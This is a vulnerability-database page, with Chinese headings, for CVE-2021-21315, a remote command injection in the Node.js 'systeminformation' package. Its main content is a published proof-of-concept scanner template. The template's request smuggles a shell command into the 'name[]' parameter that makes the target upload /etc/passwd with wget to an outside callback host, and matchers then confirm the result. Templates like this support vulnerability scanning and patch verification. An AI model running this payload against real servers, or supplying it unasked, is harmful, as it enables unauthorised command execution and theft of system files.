CVE-2021-21315: Node.JS System Information Library <5.3.1 - Remote Command Injection

日期: 2025-08-01 | 影响软件: Node.js System Information Library | POC: 已公开

漏洞描述

Node.JS System Information Library System before version 5.3.1 is susceptible to remote command injection. Node.JS (npm package "systeminformation") is an open source collection of functions to retrieve detailed hardware, system and OS information.

PoC代码[已公开]

id: CVE-2021-21315

info:
  name: Node.JS System Information Library <5.3.1 - Remote Command Injection
  author: pikpikcu
  severity: high
  description: Node.JS System Information Library System before version 5.3.1 is susceptible to remote command injection. Node.JS (npm package "systeminformation") is an open source collection of functions to retrieve detailed hardware, system and OS information.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected system.
  remediation: Upgrade to version 5.3.1. As a workaround instead of upgrading, be sure to check or sanitize service parameters that are passed to si.inetLatency(), si.inetChecksite(), si.services(), si.processLoad() ... do only allow strings, reject any arrays. String sanitation works as expected
  reference:
    - https://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC
    - https://security.netapp.com/advisory/ntap-20210312-0007/
    - https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-2m8v-572m-ff2v
    - https://www.npmjs.com/package/systeminformation
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21315
  classification:
    cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.8
    cve-id: CVE-2021-21315
    cwe-id: CWE-78
    epss-score: 0.93764
    epss-percentile: 0.99853
    cpe: cpe:2.3:a:systeminformation:systeminformation:*:*:*:*:*:node.js:*:*
  metadata:
    max-request: 1
    vendor: systeminformation
    product: systeminformation
    framework: node.js
  tags: cve,cve2021,nodejs,kev,systeminformation,node.js

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/getServices?name[]=$(wget%20--post-file%20/etc/passwd%20{{interactsh-url}})"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "wget --post-file /etc/passwd {{interactsh-url}}"
          - name
          - running
          - pids
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 490a0046304402201875eb6dbdcd8bdc93deaeefe32de30b135e50394bddfd5a91b65597934f0d6c022069c0e2737913e780808ef21c218bb40b4fb23438ded1d7efa87978cbf4ed3720:922c64590222798bb761d5b6d8e72950

相关漏洞推荐